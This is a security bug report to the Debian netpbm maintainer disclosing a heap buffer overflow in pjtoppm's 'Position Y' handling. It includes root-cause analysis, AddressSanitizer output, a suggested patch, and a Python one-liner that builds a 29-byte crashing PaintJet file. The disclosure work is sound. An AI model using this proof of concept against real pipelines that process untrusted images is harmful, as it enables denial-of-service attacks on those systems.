Package: netpbm Version: 2:11.13.03+ds-2 Severity: High Tags: security patch
Dear Maintainer,
pjtoppm (/usr/bin/pjtoppm) contains a heap-based buffer overflow
(CWE-122 / CWE-787) reachable from a single untrusted input file, with no
authentication or user interaction. The stock shipped binary crashes
with SIGSEGV; AddressSanitizer confirms an out-of-bounds heap write.
Root cause
----------
pjtoppm keeps two heap arrays, image (unsigned char **) and imlen (int *),
sized rowsX * planes entries and grown with REALLOCARRAY as raster rows
arrive (converter/ppm/pjtoppm.c:274-275). The PaintJet "Position Y" order
(ESC * p <n> Y) sets the current row to an attacker-supplied value and
zero-initialises every intermediate row WITHOUT checking that value
against the allocated row count rowsX:
case 'Y':
if (buffer[0] == '+') val = row + val;
if (buffer[0] == '-') val = row - val;
for (; val > row; ++row)
for (plane = 0; plane < 3; ++plane) {
imlen[row * planes + plane] = 0; /* line 321: OOB write
*/
image[row * planes + plane] = NULL; /* line 322: OOB write
*/
}
row = val;
'val' is fully attacker-controlled. When val > rowsX, every write past
rowsX*planes is out of bounds, and the out-of-bounds extent is
attacker-controlled (proportional to val). The 'V'/'W' raster path is
hardened (uintProduct() overflow check and the row > UINT_MAX/planes-100
guard at line 295) but this Position path has no equivalent check.
Proof of concept
----------------
A 29-byte file:
python3 -c '
ESC = b"\033"
out = ESC + b"*b1M" # transmission mode 1
out += ESC + b"*r100S" # raster width = 100
out += ESC + b"*b2W" + b"\xff\xff" # alloc image/imlen for
rowsX(100)*planes(3); row -> 1
out += ESC + b"*p100000Y" # Position Y = 100000 -> OOB writes
past the 300-entry arrays
open("poc_pjtoppm.pj","wb").write(out)'
$ pjtoppm poc_pjtoppm.pj > /dev/null
Segmentation fault (exit 139 / SIGSEGV)
Under AddressSanitizer:
==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4 at 0x... thread T0
#0 main converter/ppm/pjtoppm.c:321
0x... is located 0 bytes after 1200-byte region (100 rows * 3 planes *
4 bytes)
allocated by reallocProduct mallocvar.h:101 <- main pjtoppm.c:275
SUMMARY: AddressSanitizer: heap-buffer-overflow
converter/ppm/pjtoppm.c:321 in main
Impact
------
Unauthenticated heap out-of-bounds write triggered by a single malicious
PaintJet file. Any service/pipeline that runs pjtoppm on untrusted input
is affected. The overflow is on the heap, so stack canaries and
_FORTIFY_SOURCE do not mitigate it; DoS against the stock binary is
confirmed. The out-of-bounds extent is attacker-controlled, though the
written value is constrained to 0/NULL.
Suggested fix
-------------
Bound the Position target against rowsX (or grow the arrays to fit, like
the V/W path) before the zero-initialisation loop, and reject negative
val after the +/- adjustment:
case 'Y':
if (buffer[0] == '+') val = row + val;
if (buffer[0] == '-') val = row - val;
if (val < 0)
pm_error("invalid Y position");
while ((unsigned)val > rowsX) {
overflow_add(rowsX, 100);
rowsX += 100;
REALLOCARRAY(image, uintProduct(rowsX, planes));
REALLOCARRAY(imlen, uintProduct(rowsX, planes));
if (image == NULL || imlen == NULL)
pm_error("out of memory");
}
for (; val > row; ++row)
for (plane = 0; plane < 3; ++plane) {
imlen[row * planes + plane] = 0;
image[row * planes + plane] = NULL;
}
row = val;
break;
Notes
-----
The bug is present and reproducible in the current shipped version
2:11.13.03+ds-2.
I am happy to help validate a fix and to coordinate CVE assignment.
Regards,
Maram Sai Harsha Vardhan Reddy
Security Researcher
[email protected]
make_poc.py
Description: Binary data
poc_pjtoppm.pj
Description: Binary data

